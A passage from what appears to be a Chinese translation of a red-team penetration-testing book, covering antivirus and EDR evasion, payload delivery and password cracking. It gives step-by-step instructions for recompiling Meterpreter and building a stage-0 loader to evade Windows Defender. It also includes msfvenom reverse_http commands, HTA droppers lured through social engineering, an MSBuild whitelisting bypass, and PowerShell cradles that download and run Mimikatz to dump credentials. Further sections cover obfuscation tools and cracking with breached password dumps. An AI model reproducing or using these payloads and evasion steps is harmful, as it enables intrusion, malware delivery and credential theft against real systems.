conn)原型函数创建一个回调函数。对于各种消息类型，注册一系列的处理程序，在验证数据包头部时，这些处理程序将被调用。在这些函数中，您需要实现从recv缓冲区中读取数据包和数据。您需要调用recv()指针，处理数据包结构和大小。这将获取recv缓冲区相关信息。在这个例子中，您将看到我们在处理程序中读取BLOB_PACKET，存储在packet.payloadLen中的值，表明读取的字节数。同样的方法适用于获取其他数据类型。如果将包含文件路径的字符串发送到被攻击者计算机上的某个文件，数据包中包含一个字段用于描述字符串的长度，该字段随数据包一同发送。\n7.3.6 进一步的练习\n上面的代码提供开发的基础，您可以通过多种方式自行改进。在传输层上添加加密层非常简单和方便。您可能希望创建自己的send和recv管理器，在调用send和recv函数之前解密/加密。一种非常简单的方法是使用多字节XOR密钥，虽然不是很安全，但是由于改变了您的消息内容，所以不容易被识别。另一个练习可能是扩展LoadBlobHandler()函数，添加新的LOAD_TYPE，如果客户端以管理员身份运行，则会加载已签名的驱动程序。这可以通过使用CreateService()和StartService()windows api调用实现。但是需要记住，加载驱动程序需要文件存储在磁盘上，这将触发文件系统-过滤器驱动程序，捕获该操作。\n7.4 重新编译Metasploit/Meterpreter规避杀毒软件和网\n络检测 这个话题有些复杂，您很可能在编译过程中遇到一些问题。有很多值得推荐的工具，如Metasploit/Meterpreter，每个杀毒软件和网络入侵检测（NID）工具都对这些工具进行签名。我们可以尝试使用Shikata Ga Nai软件对静荷进行混淆，并通过HTTPS进行混淆，这是目前常用的方式。任何类型的混淆通常都会有一个根签名，可以被发现和检测，杀毒软件在内存特定位置查看特定的字符串，网络设备实施中间人策略对HTTPS通信内容进行检查。那么如何才能持续使用我们选择的工具，同时绕过所有常见的安全防护机制呢？以Metasploit/Meterpreter为例，介绍一下如何绕过所有这些障碍。我们的目标是绕过二进制文件的杀毒软件签名、内存中的杀毒软件签名和网络流量签名。\n为了规避所有的检测方法，我们需要做一些事情。首先，修改Meterpreter静荷，确保在网络流量和内存数据中，无法基于签名检测静荷。然后，修改metsvc持久性模块，防止被杀毒软件标识。接着，我们使用Clang编译部分metsrv（实际的Meterpreter静荷），同样防止被杀毒软件标识。最后，编写自己的stage0静荷，下载执行Meterpreter，规避所有的杀毒软件。\n使用Clang编译metsrv（Meterpreter的网络服务包装器），删除metsrv/metsvc-server引用。\nhttp://bit.ly/2H2kaUB。\n修改静荷，去掉类似于Mimikatz的字符串。\nhttp://bit.ly/2IS9Hvl。\n修改反射性DLL注入字符串，删除类似于ReflectiveLoader的字符串。\nhttp://bit.ly/2qyWfFK。\n当Meterpreter在网络传输时，许多网络产品检测Meterpreter的0/1/2级加载模块。除了混淆静荷，我们还可以对实际的shellcode进行混淆。一个例子是遍历所有Ruby文件，获取不同的静荷类型，并添加随机nop字符，规避检测。\nhttp：//bit.ly/2JKUhdx。\n自定义Stage0静荷。\nhttp：//bit.ly/2ELYkm8。\n实验\n在本实验中，我们将修改Metasploit/Meterpreter代码，重新编译它，确保可以规避基本的杀毒软件检测。\n在开始前，先查看Metasploit的编译环境。\nhttps://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter。\nhttps://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit- Development- Environment。\nWindows的环境设置如下所示。\nVisual Studio 2013（VS2013）：Visual Studio社区版即可，另外，需要安装C/C ++编译环境。\n在Windows中安装LLVM（32位）（安装Visual Studio之后，确保安装LLVM工具链）：可在LLVM官网下载LLVM 6。\n在Windows中安装GNU Make（见SourceForge网站相关网页）：确保安装在系统路径，或者从应用程序安装路径运行。\nGit-SCM（见Git官网）。\n7.4.1 如何在Windows中构建Metasploit/Meterpreter\n首先获取所有cyberspacekitten的存储库。作为原型系统，这些文件在实验室已经做了较大的修改。首先，我们需要下载框架和所有的静荷。\ngit clone https://github.com/cyberspacekittens/metasploit-framework。\ncd metasploit-framework && git submodule init && git submodule update && cd ..。\ngit clone https://github.com/cyberspacekittens/metasploit-payloads。\ncd metasploit-payloads && git submodule init && git submodule update && cd ..。\n在存储库中修改字符串，采用Clang编译器进行编译，添加静荷nops，务必查看存储库之间的Metasploit差异，确切了解更改的内容。\n编译Metasploit / Meterpreter\n我们要做的第一件事，使用更新内容重新编译metsvc和metsvc-server。在Visual Studio 2013中运行其命令提示符，如下所示。\n跳转到metsvc修改源代码所在的文件夹。 \ncd metasploit-framework\\external\\source\\metsvc\\src\n使用make编译。 \n\"C:\\Program Files (x86)\\GnuWin32\\bin\\make.exe\"\n将新创建的二进制文件移动到meterpreter文件夹。\ncopy metsvc.exe ..\\..\\..\\..\\data\\meterpreter\\。\ncopy metsvc-server.exe ..\\..\\..\\..\\data\\meterpreter\\。\n接下来，修改Meterpreter静荷，使用提供的.bat文件进行编译。\ncd metasploit-payloads\\c\\meterpreter。\nmake.bat。\n编译所有内容后，生成两个文件夹（x86和x64）。将所有已编译的DLL复制到meterpreter文件夹。\ncopy metasploit-payloads\\c\\meterpreter\\output\\x86* metasploit-framework\\data\\ meterpreter。\ncopy metasploit-payloads\\c\\meterpreter\\output\\x64* metasploit-framework\\data\\ meterpreter。\n这就是服务器版本的meterpreter。我们现在可以将整个metasploit-framework文件夹移动到Kali系统，启动反向HTTPS处理程序（windows/x64/meterpreter/reverse_https）。\n7.4.2 创建修改后的Stage 0静荷\n我们需要做的最后一件事是创建一个Stage 0静荷，让最开始的可执行文件绕过所有杀毒软件检测。您可能不是很了解，Meterpreter中的Stage 0是任何漏洞利用或静荷的第一阶段。这是一段代码，完成一件很简单的事情：以我们想要的方式（reverse_https、reverse_ tcp和bind_tcp等）回连或者监听，然后接收metsrv.dll文件。然后，加载这个文件并执行。从本质上来讲，任何Stage 0静荷只是一个美化的“下载并执行”静荷。这是Metasploit的所有功能的基础，在许多杀毒软件解决方案中都有针对Metasploit特定行为的高级签名技术和启发式检测方法，甚至修改shellcode并添加垃圾代码，仍然由于启发式检测而被标记。为了解决这个问题，我们编写了自己的Stage 0，执行同样的功能（在内存中下载和执行）：复制Meterpreter的reverse_https静荷的下载代码，从服务器获取metsrv.dll，然后在内存中存储并执行。\n此处提供的具体静荷例子，具有一些更复杂的功能。这些静荷实现了位置无关，无须导入函数。这个代码是基于thealpiste的代码进行开发的（https://github.com/thealpiste/ C_ReverseHTTPS_Shellcode）。\n提供的示例执行以下操作。\n所有代码在内存中定位DLL和函数，实现执行功能；没有使用导入函数。通过手动定义使用的“桩子”函数，在内存中搜索这些函数。\nWininet用于执行HTTPS请求，返回配置后的Metasploit处理程序。\n接收metsrv.dll，并执行数据模块。Metasploit提供这些文件，入口点是缓冲区的开头。\n此功能实现的过程与msfvenom构建静荷过程是相同的。但是，msfvenom将这个过程添加到生成可执行文件模板中，采用的是可预测和检测的方式，但是不可配置。因此，大多数杀毒软件能够识别这些可执行文件。相反，通过一些编码技术，您可以重新设计静荷的功能，因为静荷很小，并且可以绕过当前存在的杀毒软件检测。在撰写本书时，静荷可以规避所有杀毒软件，包括Windows Defender。\n创建静荷过程如下所示。\n在Visual Studio 13中，打开metasploit-payloads\\c\\x64_defender_bypass\\x64_defender_ bypass.vcxproj。\n在x64_defender_bypass下有一个settings.h文件。打开该文件，修改HOST和PORT信息为Meterpreter处理程序信息。\n确保编译设置为“Release”并编译“x64”。\n保存并构建。\n在metasploit-payloads\\c\\x64_defender_bypass\\x64\\Release下，创建一个新的二进制文件“x64_defender_bypass.exe”。在运行Windows Defender的被攻击计算机上执行此载荷。在构建此项目时，Windows Defender未检测到这个静荷。\n您现在拥有一个深度混淆的Meterpreter二进制文件，传输层也进行混淆，绕过所有默认的保护机制。现在，这只是一个入门的原型系统。本书发行后，其中一些技术会被检测生成签名。您还可以采取更多的措施，规避检测工具。例如，您可以进行如下操作。\n使用Clang混淆工具链编译。\n对所有字符串使用字符串加密库。\n更改Meterpreter入口点（当前为Init）。\n创建自动脚本，为所有静荷类型添加nops。\n编辑使用的Ruby脚本，生成静荷，静荷每次运行时都进行随机化。\n7.5 SharpShooter\n作为红队，较耗时的工作之一是创建静荷，规避下一代杀毒软件和沙箱。我们一直在寻找新的方法，创建初始入口。一个名为SharpShooter的工具采用了许多反沙箱技术，James Forshaw编写的DotNetToJScript可用来执行Windows脚本格式的shellcode（CACTUSTORCH工具见GitHub相关网页）。\nMDSec网站介绍了SharpShooter：“SharpShooter支持分阶段和无阶段静荷执行。分阶段执行可以采用HTTP(S)、DNS或两者进行传输。当执行分阶段静荷时，它尝试检索C Sharp压缩的源代码文件，然后使用所选择的传递技术，进行base64编码。下载C Sharp项目源代码，在主机上使用.NET CodeDom编译器进行编译。然后，使用反射方法从源代码执行所需的方法。”\n下面我们看一个简单的例子。\npython SharpShooter.py --interactive。\n1 - 适用于.NET v2。\nY - 分阶段静荷。\n1 - HTA 静荷。\n您可以选择技术，成功绕过沙箱，执行恶意软件。提供以下防沙箱技术。 \n域的密钥\n确保加入域名\n检查沙箱\n检查错误的MAC\n检查调试\n1 - 网络传递。\nY - 内置shellcode模板。\nshellcode作为字节数组。 \n打开一个新终端，创建一个csharp Meterpreter静荷\nmsfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=10.100.100.9 LPORT= 8080 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai -f csharp\n复制“{”和“}”之间的所有内容，采用字节数组形式提交\n为CSharp网络传递提供URI。 \n输入攻击者的IP/端口和文件\n提供输出文件的名称。 \n恶意软件\nY—您想要在HTML内部添加内容吗？\n使用自定义（1）或预定义（2）模板。 \n要进行测试，可选择任何预定义模板\n将新创建的恶意文件移动到您的网站目录。 \nmv output/* /var/www/html/\n为静荷设置Meterpreter处理程序。\n配置和开发恶意软件后，将其移至Web目录（malware.hta、malware.html、malware. payload），启动Apache 2服务，然后启动Meterpreter处理程序。现在采用社会工程学方法，引诱被攻击者访问恶意网站！上面给出的示例是SharpShooter的SharePoint在线模板。当被攻击者使用IE/Edge访问您的恶意页面时，HTA会自动下载并提示运行。弹出窗口后，如果选择运行，将运行静荷，下载第二静荷（如果规避沙箱监控），并在内存中执行Meterpreter静荷，如图7.2所示。\n图7.2\n7.6 应用程序白名单规避\n我们已经讨论了在不运行PowerShell代码的情况下触发PowerShell的不同方法，但如果您无法在Windows系统上运行自定义二进制文件，该怎么办？应用程序规避的原理是找到默认的Windows二进制文件，执行静荷。我们登录类似域控制器设备，但是系统被锁定，代码执行受到限制。我们可以使用不同的Windows文件来绕过这些限制，让我们来看看其中的几个文件。\n一个经常被讨论的Windows二进制文件是MSBuild.exe，实现绕过应用程序白名单。什么是MSBuild.exe，它有什么作用？MSBuild是.NET Framework中的默认应用程序，使用XML格式的项目文件，构建.NET应用程序。我们可以利用这个功能，使用名为GreatSCT的工具，创建自己的恶意XML项目文件，执行Meterpreter会话。\nGreatSCT（见GitHub中的GreatSCT网页）包括各种应用程序白名单绕过方法，这里我们只介绍MSBuild。在这个例子中，我们创建恶意的XML文件，该文件承载一个reverse_http Meterpreter会话。这将要求我们在被攻击系统中写入XML文件，使用MSBuild执行XML文件，如图7.3所示。\ngit clone https://github.com/GreatSCT/GreatSCT.git /opt/。\ncd /opt/GreatSCT。\npython3 ./gr8sct.py。\n[4] MSBUILD/msbuild.cfg。\n图7.3\nEnter your host IP [0] and port [1]输入主机ZP地址和端口。\ngenerate创建文件。\n在Metasploit中创建windows/meterpreter/reverse_http handles。\n在Kali实例中，我们使用GreatSCT创建shellcode.xml文件，该文件包含构建信息和Meterpreter反向HTTP Shell。需要将此文件移动到被攻击系统，并使用MSBuild进行调用，如图7.4所示。\n图7.4\n注意：我确实看到GreatSCT正在“开发”分支（见GitHub中GreatSCT页面的tree/develop子页面）上积极构建，其中包括HTTPS Meterpreter和其他白名单绕过机制。我猜测在本书出版之后，它将被转移到“主版本”。\n一旦在被攻击的计算机的Windows上具备执行权限，使用命令“C:\\Windows\\Microsoft. NET\\Framework\\v4.0.30319\\MSBuild.exe shellcode.xml”，.NET将开始构建shellcode.xml文件。在这个过程中，被攻击的计算机将生成反向HTTP Meterpreter会话，绕过任何应用白名单机制，如图7.5所示。您可能希望编辑shellcode.xml文件，放入混淆的静荷，因为默认的Meterpreter很可能会触发杀毒软件。\n有许多不同的方法可以绕过应用程序白名单机制，这些方程足够编写为一本书。\n图7.5\n7.7 代码洞穴\n与任何红队活动一样，我们一直在寻找富有创造性的方式，在环境中横向移动或长期控制。通常情况下，如果掌握凭证，我们就会尝试使用WMI或PsExec在远程系统上执行静荷。有时，我们需要采用富有创造性的方式，在一个环境中移动而不被轻易跟踪。\n作为红队，在行动中被发现，可能并不是最糟糕的事情。最糟糕的事情是被发现，并且蓝队发现行动中的域名、IP地址和突破的主机。蓝队通过查看WMI/PsExec连接，识别横向移动，因为这些流量看起来不是正常的流量。那么，我们可以做些什么来隐藏横向移动呢？\n这是我们发挥创造力的地方，并且没有正确的答案（如果有效，那么对我来说已经足够了）。我最喜欢做的事情就是在环境中发现共享目录和主动共享/执行的文件。我们可以尝试在Office文件中添加宏，但这可能太明显了。将定制恶意软件嵌入可执行二进制文件，这种攻击方式被发现的概率较低，成功率高。这可以是类似PuTTY的共享二进制文件，一个常见的内部胖客户端，甚至是数据库工具。\n执行这些攻击的一个简单工具是Backdoor Factory，虽然它不再维护。Backdoor Factory在真实程序中查找代码洞或空块，攻击者可以在其中注入自己的恶意shellcode。本书第2版介绍了这项技术。\n7.8 PowerShell混淆\nPowerShell 脚本现在的问题是，如果您将脚本放到磁盘上，那么很多杀毒软件都会查杀脚本。即使您将脚本导入内存，杀毒软件通过查看内存，也可能发出警报。\n无论如何，如果您从Cobalt Strike、Meterpreter或PowerShell Empire将脚本导入内存，那么需确保不会被杀毒软件发现。如果我们将脚本导入内存，那么至少应急响应/取证团队应该很难逆向分析我们的攻击静荷。\n让我们来查看PowerShell的命令，如下所示。\nPowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('[PowerShell URL]'); [Parameters]。\n这是我们看到的最基本的字符串组合，可以绕过执行策略，隐藏运行/非交互，以及下载和执行PowerShell静荷。对于蓝队，我们已经看到有很多日志，记录这些特定的参数，例如“-Exec Bypass”。因此，我们通过一些常见的PowerShell语法混淆这些参数。\n-ExecutionPolicy Bypass。 \n-EP Bypass\n-Exec Bypass\n-Execution Bypass\n更疯狂的是，我相信Daniel Bohannon识别出了这个，您根本不需要完整的字符串来完成上述操作。例如，对于-ExecutionPolicy Bypass，以下的这些例子都将能正常工作。\n-ExecutionPolicy Bypass。\n-ExecutionPol Bypass。\n-Executio Bypass。\n-Exec Bypass。\n-Ex Bypass。\n这些技术同样适用于WindowStyle甚至EncodedCommand参数。当然，这些技巧目前是可以使用的，我们需要创建更多混淆变换的方法。首先，我们提供一个非常简单的示例，使用PowerShell管理命令行，执行我们的远程PowerShell脚本（在本例中是mimikatz），实现转储散列的功能。\nInvoke-Expression (New-Object Net.WebClient).DownloadString('http://bit.ly/ 2JHVdzf'); Invoke-Mimikatz –DumpCreds。\n使用（Invoke-Obfuscation），输入字符串，使用几种不同的技术对字符串进行深度混淆。\n在Windows中，下载Invoke-Obfuscation PowerShell文件。\n加载PowerShell脚本，启动Invoke-Obfuscation。 \nImport-Module ./Invoke-Obfuscation.psd1\nInvoke-Obfuscation\n设置混淆的PowerShell脚本。在这种情况下，我们混淆下载的脚本，运行mimikatz，转储散列。 \nSET SCRIPTBLOCK Invoke-Expression (New-Object Net.WebClient). DownloadString ('http://bit.ly/2JHVdzf'); Invoke-Mimikatz -DumpCreds\n编码静荷。 \n编码\n在这种情况下，我选择了SecureString（AES），但您可以使用所有混淆技术，如图7.6所示。\n图7.6\n如果查看混淆的字符串，会发现有一个随机生成的密钥和加密的安全字符串。执行管理员权限PowerShell，我们仍然可以执行完整的静荷，如图7.7所示。\n图7.7\n回到主屏幕，创建混淆的加载器，如图7.8所示。\n图7.8\nmain。\n launcher。 \n CLIP++。 \nChoose your execution flags。\n更好的是，我们可以查看Windows PowerShell日志，但它非常隐蔽，对于规避杀毒软件和安全信息工具警报非常有帮助，如图7.9所示。\n图7.9\n除Invoke-Obfuscation工具外，Daniel还研制了一个Invoke-CradleCrafter工具，实现远程下载的功能。Invoke-CradleCrafter工具为蓝队和红队开展研究、生成和混淆PowerShell远程下载提供了支持。此外，这个工具有助于帮助蓝队测试Invoke-Obfuscation输出结果的有效性。Invoke-CradleCrafter的缺陷是不包含任何字符串连接、编码、标识和类型转换等功能。\n7.9 没有PowerShell的PowerShell\n您最终在一个设备上获得远程代码执行权限，但您发现无法运行PowerShell.exe或者公司正在监视PowerShell.exe命令。您有什么办法让PowerShell静荷或者命令和控制代理在主机系统上运行？\n1．NoPowerShell（NPS）\n我喜欢NoPowerShell（NPS）的概念。NPS是一个Windows二进制文件，它通过.NET执行PowerShell，而不是直接调用PowerShell.exe。虽然目前杀毒软件通常会对操作行为进行标记，但是我们可以使用相同的思路创建二进制文件，直接执行PowerShell恶意软件，无须运行PowerShell.exe。由于Ben0xA提供了源代码，因此可以尝试对二进制文件进行混淆处理，从而规避杀毒软件。\n另外一个使用NPS原理的是TrustedSec工具，它利用了通过MSBuild.exe执行代码的优势。此工具将PowerShell静荷生成到msbuild_nps.xml文件中，该文件在调用时执行。XML文件可以通过以下方式调用。\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exeC:\\<pathto_msbuild nps.xml>。\n2．SharpPick\nSharpPick是PowerPick的一个组件，它是一个值得推荐的工具，允许调用PowerShell功能，而无须使用PowerShell.exe二进制文件。在SharpPick中，RunPS函数使用System.Management.Automation函数在PowerShell运行空间中执行脚本，无须启动PowerShell进程。\n下载SharpPick后，您可以使用PowerShell Empire静荷，创建二进制文件。\n有时可能无法在主机系统上放置二进制文件。在这些情况下，可以创建一个类库（DLL文件），我们可以将DLL文件放到系统，并使用“rundll32.exe runmalicious.dll,EntryPoint”执行。\n当然，可以使用Meterpreter或Cobalt Strike自动创建这些DLL文件，从而可以灵活地运行特定的PowerShell静荷，而无须调用PowerShell.exe。\n7.10 HideMyPS\n几年前，我制作了一个工具HideMyPS，取得了非常好的效果。它始终只是一个POC工具，但即使经过这么多年，它仍然可以工作。我遇到的问题是，现在PowerShell脚本都会被杀毒软件查杀。例如，如果我们在运行Windows Defender的Windows系统中，删除正常的Invoke-Mimikatz.ps1，它将立即查杀PowerShell脚本，并在相应位置标记红色。这是传统杀毒软件的一个主要缺点，杀毒软件通常在恶意软件中寻找特定的字符串。因此，我整理了一个小的Python脚本，该脚本采用PowerShell脚本对所有字符串进行混淆处理（由于仅仅使用少量的脚本进行测试，因此它远达不到生产代码标准）。\nHideMyPS将查找所有函数，并使用ROT对其进行混淆处理，从PowerShell脚本中删除所有注释，剪切字符串规避杀毒软件的静态签名查杀。下面的例子中，我们将使用Invoke_ Mimikatz.ps1，混淆PowerShell文件，如图7.10所示。\ncd/opt/HideMyPS。\npython hidemyps.py invoke_mimikatz.ps1 [filename.ps1]。\n图7.10\n现在，查看原始文件和创建的新文件之间的区别。首先，您可以看到函数名称全部混淆，变量已经更改，字符串被分成两半，并且所有注释都删除了，如图7.11所示。\n图7.11\n您必须记住的一件事是我们更改了PowerShell脚本中的所有函数名称。因此，为了调用这些函数，需要重新查看混淆后的文件，看一看我们是如何替换“function Invoke-Mimikatz”的。在这种情况下，Invoke-Mimikatz更改为Vaibxr-Zvzvxngm。以下示例是在打了完整补丁的Windows 10中运行的，其中Defender已更新至较新的病毒库，如图7.12所示。\n图7.12\n7.11 结论\n作为红队或者渗透测试人员，总是需要与主机和网络检测工具进行“猫捉老鼠”的游戏。这就是为什么需要理解防护系统底层的工作原理、编写底层代码来直接与Windows API进行交互而不是使用Shell命令、跳出设备本身进行思考并发挥创造性等非常重要。如果您仅仅专注于使用常规的工具，那么在企业环境中被检测发现的可能性非常高。如果这些工具是公开的，那么在该工具出现后，安全厂商可能会逆向分析这些工具，并生成工具的签名。作为红队，在实际的攻击中，您需要利用系统漏洞，定制开发工具，防止工具被安全厂商识别。\n第8章 特勤组——破解、利用和技巧\n本章重点介绍各种有用的资源，这些资源对红队和渗透测试人员非常有用。虽然这些资源并不一定在每次行动中都用到，但是对于特定场景或个别场景非常有用。\n8.1 自动化\n随着基于启发式的终端安全防护机制越来越强大，攻击方式需要快速应变。我们通常可以编写恶意软件规避杀毒软件的检测，即使通过了初次安全防护检测，但是一旦使用类似mimikatz（在内存中）工具或者横向渗透到另一台主机，就会引发警报。为了解决这个问题，我总是告诉红队在首次尝试攻击时就被发现。在通常情况下，蓝队在发现我们的基本/默认样式（或稍微混淆）的恶意软件时，认为取得胜利，但是首次尝试的真正目的是了解目标的环境。初始静荷自动运行多个侦察脚本，实现上述目的。在下文中，我们将介绍一些快速自动运行的脚本，这些脚本可以帮助我们自动化一些攻击。\n8.1.1 使用RC脚本自动化Metasploit\n使用Metasploit，我们可以高效运行后渗透脚本，方法如下。\n在Metasploit中，搜索所有后期渗透利用模块。\nmsfconsole。\nshow post。\n从“post”结果中，选择要使用的所有模块，方便在Meterpreter Shell中自动执行。在这种情况下，添加特权迁移后渗透模块（http://bit.ly/2vn1wFB）。配置Meterpreter Shell，在受感染主机的初始连接中，运行这个静荷，我们需要指定AutoRunScript参数。您可以根据需要，添加尽可能多的AutoRunScript，实现转储有关系统/网络的信息、横向移动等功能。\n下面创建处理程序和AutoRunScript。\n创建处理程序。 \ngedit handler.rc\n配置处理程序，运行脚本。 \nuse multi/handler\nset payload windows/meterpreter/reverse_https\nset LHOST 10.100.100.9\nset LPORT 443\nset AutoRunScript post/windows/manage/priv_migrate\nset ExitOnSession false\nset EnableStageEncoding true\nexploit -j\n运行处理程序。 \nmsfconsole -r handler.rc\n8.1.2 Empire自动化\nEmpire具有与Metasploit资源文件类似的功能，可以自动完成许多重复性任务。首先，我们需要创建一个文件（在示例中，创建一个名为/opt/empire_autoload.rc的文件），然后在Empire实例中加载它。\n在单独的终端窗口中，创建处理程序文件。 \ngedit /opt/empire_autoload.rc\n添加您需要执行的后渗透模块。 \nusemodule situational_awareness/network/powerview/get_user\nexecute\nback\nusermodule situational_awareness/network/powerview/get_computer\nexecute\nback\n在Empire中加载autoload.rc资源文件，如图8.1所示。 \nagents\nautorun /opt/empire_autoload.rc powershell\nautorun show\n图8.1\n正如您看到的，当代理回连时，它会自动运行get_user和get_computer PowerShell脚本。这些脚本的所有结果都存储在agent.log文件中。在这种情况下，我们的代理名称为N6LM348G，因此，日志将存储在/opt/Empire/downloads/N6LM348G/agent.log中。\n8.1.3 Cobalt Strike自动化\nCobalt Strike功能强大的主要原因之一是Aggressor Script。使用Cobalt Strike的Aggressor Script，您不仅可以配置自动运行样式脚本，而且可以创建非常复杂的攻击。\n例如，我经常碰到共享工作站的情况，比如实验室或会议室。我可能希望代理程序做的一件事是每隔半小时运行mimikatz获取明文凭证。使用Aggressor Script，我们可以执行这些操作以及其他更多的操作。\n8.1.4 自动化的未来\n最后，有一些很值得关注的项目正朝着自动化、智能化突破和APT攻击的方向发展。我坚信攻击的自动化将成为未来的突破，我们需要能够有这种能力从而测试/验证安全防护机制的效果。我认为在自动化方面具有巨大潜力的两个工具是Portia和Caldera。\n8.2 密码破解\n我最新的密码字典是最近的41GB密码转储，其中包含14亿用户名及其密码。现在，我不想直接提供torrent链接，因为其中包含很多敏感的用户名（或电子邮件）和相关密码，您可以搜索BreachCompilation.tar.bz2查找更多的相关信息。在下载这些非常敏感的信息之前，请查阅当地的法律条款。我建议您不要下载原始转储，而只是下载密码列表。我已经下载了41 GB转储，删除了所有用户名/电子邮件，只获取了密码字典。在我的个人主机上，使用8x Gigabyte GV-N108TTURBO-11GD AORUS GeForce GTX 1080 Ti Turbo 11G显卡。您可以自己搭建一个硬件，包括机箱、内存、电源、SSD硬盘和GPU显卡。当然，机箱至少需要4U机架（例如，SYS-4028GR-TR2）和功率足够大的电源。虽然价格不菲，但我们可以每秒大约计算472 000 000 000个散列值，暴力破解NTLM（Windows）散列值。这是8个GPU的hashcat基准测试，散列模式为1000 - NTLM。\nSpeed.Dev.#1.....: 59436.3 MH/s (63.16ms)\nSpeed.Dev.#2.....: 58038.3 MH/s (64.70ms)\nSpeed.Dev.#3.....: 59104.4 MH/s (63.55ms)\nSpeed.Dev.#4.....: 59123.0 MH/s (63.52ms)\nSpeed.Dev.#5.....: 58899.7 MH/s (63.74ms)\nSpeed.Dev.#6.....: 59125.8 MH/s (63.51ms)\nSpeed.Dev.#7.....: 59256.3 MH/s (63.36ms)\nSpeed.Dev.#8.....: 59064.5 MH/s (63.56ms)\nSpeed.Dev.#*.....: 472.0 GH/s\n对于那些买不起大型GPU设备的人来说，还有其他选择。虽然也不是很便宜，但您可以考虑云破解。最近，亚马逊云集成了TESLA GPU（不是汽车），处理能力比1080Ti更强。在Medium上有一篇很棒的文章介绍如何基于这些GPU搭建破解服务器。\n来自Iraklis Mathiopoulos论文的统计数据，散列模式为1000 - NTLM。\nSpeed.Dev.#1.....: 79294.4 MH/s (33.81ms)\nSpeed.Dev.#2.....: 79376.5 MH/s (33.79ms)\nSpeed.Dev.#3.....: 79135.5 MH/s (33.88ms)\nSpeed.Dev.#4.....: 79051.6 MH/s (33.84ms)\nSpeed.Dev.#5.....: 79030.6 MH/s (33.85ms)\nSpeed.Dev.#6.....: 79395.3 MH/s (33.81ms)\nSpeed.Dev.#7.....: 79079.5 MH/s (33.83ms)\nSpeed.Dev.#8.....: 79350.7 MH/s (33.83ms)\nSpeed.Dev.#*.....: 633.7 GH/s\nNTLM计算总的速度比使用TESLA GPU大约快34%。运行AWS云的总成本约为每小时25美元。因此，您需要统筹规划自己的预算、要求和目标。\n实验\n最近，Troy Hunt 在“Have I Been Pwned”网站上发布了一个密码散列的SHA1列表，压缩文件大小约为5.3 GB。这是由以前泄露的数据生成的大字典，可以作为一份测试密码破解能力的实验数据。\n随着这些GPU变得越来越快，10个字符以下的密码可以在相对合理的时间范围内进行智能破解。其中一些使用设置合理的密码掩码可以实现破解，但在大多数情况下，需要使用密码字典破解。使用真实漏洞的密码字典是破解大于12个字符密码的一种极快的方法。查看过去所有的泄露数据，我们可以很快地了解人类如何创建密码、混淆密码的常用技巧以及常用的单词。\n使用具有复杂规则集的这些密码字典，我们将能够快速破解密码（有时超过25个字符）。但是请记住，密码字典取决于构建方式和更新方式。作为红队，我们定期跟踪破解的所有账户，分析它们，并将它们添加到密码字典中。我们还需要不断监控新的数据泄露、pastebin/pastie类型的网站等，查找新的密码。\n常用的密码字典\nberzerk0 Real-Password-WPA密码字典。\n18.6 GB Uncompressed。 \nhttp://bit.ly/2EMs6am\nberzerk0 Dictionary-Style字典。 \n1 GB Uncompressed\nhttp://bit.ly/2GXRNus\nXato Million Passwords。 \nmagnet:?xt=urn:btih:32E50D9656E101F54120ADA3CE73F7A65EC9D5CB\nHashes.org。 \nhttp://hashes.org/left.php\nMultiple Gigabytes and growing daily\nCrackstation。 \n15 GB Uncompressed\nWeakpass。 \nTons of password lists\nFirst20Hours。 \n这个库包含按频率顺序排列的10 000个常见的英语单词列表，由Google的Trillion Word Corpus的N-Gram频率分析生成\nSkullSecurity.org。 \n很多老的字典库，例如 rockyou、myspace和phpbb\nDaniel Miessler's Password Compilation。\nAdeptus-mechanicus Hash dumps。\n将好的密码字典进行组合，我们可以在这些密码字典之上，添加规则，查找更多密码。就hashcat而言，规则定义了是否需要对密码字典进行修改。介绍规则的一种方式是使用一个易于理解的例子。我们可以使用KoreLogicRulesAppendYears规则集，如下所示。\ncAz\"19[0-9][0-9]\"。\nAz\"19[0-9][0-9]\"。\ncAz\"20[01][0-9]\"。\nAz\"20[01][0-9]\"。\n它会在每个密码后面附加1949年～2019年的年份。如果密码字典中包含单词“hacker”，那么它会尝试计算字符串“hacker1949”～“hacker2019”的散列值。请记住，您制定的规则越复杂，完成单词列表所需的时间就越多。\n幸运的是，我们不需要自己创建规则，因为已经有很多很好的规则。当然，还有默认的hashcat规则，它们来自许多较早的数据泄露，以及常见的密码操作方法。这是一个很好的起点。Kore规则来自Korelogic的密码竞赛，是另外一个标准。另外，NSAKEY和Hob0Rules这两个规则肯定需要更长的时间，但有非常详细的规则集。在过去，我应用所有规则，将它们放到一个文件中，并且唯一标识这个文件。但是现在，NotSoSecure已经为您完成这个功能，规则如下。\nHashcat规则。\nKore规则。\nNSAKEY Rules (One of my favorite) *Forked。\nPraetorian-inc Hob0Rules *Forked。\nNotSoSecure - One Rule to Rule Them All *Forked。\n8.3 彻底破解全部——尽您所能快速破解\n您突破CSK公司，获取了大量的密码。在有限的时间内，您如何取得最好的“收益”？以下演练将指导您完成初始步骤，我们需要尽可能多地破解密码。虽然，我们通常只需要几个域管理员、LDAP 管理员和公司管理员账户，但我的强迫症倾向驱使我破解所有密码。\n在开始之前，您确实需要了解散列的密码格式。一旦理解了散列类型，最好先进行一些初始测试，确定密码散列算法的速度。这将对您的密码破解方法产生巨大影响。例如，在查看Windows散列时，我们看到NTLM（Windows）的执行速度大约是5 000 MH/s。常见的Linux散列值SHA-256的执行速度约为5 000 MH/s。\n这意味着对于SHA-256散列，您的GPU可以每秒猜测5 000 000 000次。这可能看起来很多，但是当您有大量的单词字典和复杂规则集时，它可能不够强大。这是因为与NTLM相比，SHA-256算法的计算速度非常慢且成本高，NTLM可以达到每秒75 000 000 000个散列值。在例子中，我们将使用8个1080Ti GPU，通过NTLM的快速散列转储。\n破解Cyber SpaceKittens NTLM散列\n在获得域管理员访问权限后，您可以使用DCSync攻击方法，从域控制器转储所有散列值。您现在的目标是尽可能多地尝试破解散列。您能够在以后的行动中使用这些账户，并向被攻击者公司展示员工密码使用方面的问题。\n我们在名为cat.txt的文件中保存所有NTLM Windows散列值。为了使读者更容易理解，我们将省略初始的hashcat执行命令。每个命令执行都将以“hashcat -w 3 -m 1000 -o 